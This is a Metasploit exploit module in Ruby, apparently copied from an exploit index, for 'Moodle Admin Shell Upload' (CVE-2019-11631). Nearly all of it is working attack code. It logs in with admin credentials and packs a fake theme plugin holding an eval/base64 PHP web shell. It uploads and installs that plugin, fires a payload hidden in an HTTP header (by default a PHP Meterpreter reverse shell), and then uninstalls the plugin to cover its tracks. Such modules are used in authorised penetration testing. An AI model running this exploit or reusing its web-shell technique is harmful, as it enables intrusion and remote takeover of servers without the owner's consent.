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## https://sploitus.com/exploit?id=MSF:EXPLOIT/MULTI/HTTP/MOODLE_ADMIN_SHELL_UPLOAD/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Moodle

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Moodle Admin Shell Upload',
        'Description' => %q{
          This module will generate a plugin which can receive a malicious
          payload request and upload it to a server running Moodle
          provided valid admin credentials are used.  Then the payload
          is sent for execution, and the plugin uninstalled.

          You must have an admin account to exploit this vulnerability.

          Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
          'h00die' # msf module cleanup and inclusion
        ],
        'References' => [
          ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
          ['EDB', '46775'],
          ['CVE', '2019-11631'] # rejected, its a feature!
        ],
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic', {}]],
        'Privileged' => false,
        'DisclosureDate' => '2019-04-28',
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
        'Payload' => {
          'BadChars' => "'",
          'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])
      ]
    )
  end

  def create_addon_file
    # There are syntax errors in creating zip file. So the payload was sent as base64.
    plugin_file = Rex::Zip::Archive.new
    header = Rex::Text.rand_text_alpha_upper(4)
    plugin_name = Rex::Text.rand_text_alpha_lower(8)

    print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}")

    path = "#{plugin_name}/version.php"
    path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php"
    # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
    plugin_file.add_file(path, "<?php $plugin->version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';")
    plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{header}'])); ?>")
    # plugin_file.add_file(path2, "<?php #{payload.encoded}) ?>")
    return plugin_file.pack, header, plugin_name
  end

  def exec_code(plugin_name, header)
    # Base64 was encoded in "PHP". This process was sent as "HTTP headers".
    print_status('Triggering payload')
    send_request_cgi({
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"),
      'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    })
  end

  def check
    v = moodle_version
    return CheckCode::Detected('Unable to determine moodle version') if v.nil?

    # This is a feature, not a vuln, so we assume this to work on 3.0.0+
    # assuming the plugin arch changed before that.
    # > 3.0, < 3.9
    version = Rex::Version.new(v)
    if version > Rex::Version.new('3.0.0')
      return CheckCode::Appears("Exploitable Moodle version #{v} detected")
    end

    CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
  end

  def exploit
    v = moodle_version
    fail_with(Failure::NoTarget, 'Unable to determine moodle version') if v.nil?

    version = Rex::Version.new(v)
    print_status("Authenticating as user: #{datastore['USERNAME']}")
    cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
    cookies.each do |cookie|
      cookie_jar.add(cookie)
    end

    print_good("Authentication was successful with user: #{datastore['USERNAME']}")
    print_status('Creating addon file')
    addon_content, header, addon_name = create_addon_file
    print_status('Uploading addon')
    file_id, sesskey = upload_addon(addon_name, version, addon_content)
    fail_with(Failure::NoAccess, 'Unable to upload addon.  Make sure you are able to upload plugins with current permissions') if file_id.nil?
    print_good('Upload Successful.  Integrating addon')
    ret = plugin_integration(sesskey, file_id, addon_name)
    if ret.nil?
      fail_with(Failure::NoAccess, 'Install not successful')
    end
    exec_code(addon_name, header)
    print_status('Uninstalling plugin after 5 second delay so payload can change directories')
    sleep(5)
    remove_plugin("theme_#{addon_name}", version, sesskey)
  end

  def on_new_session(_)
    print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp')
  end
end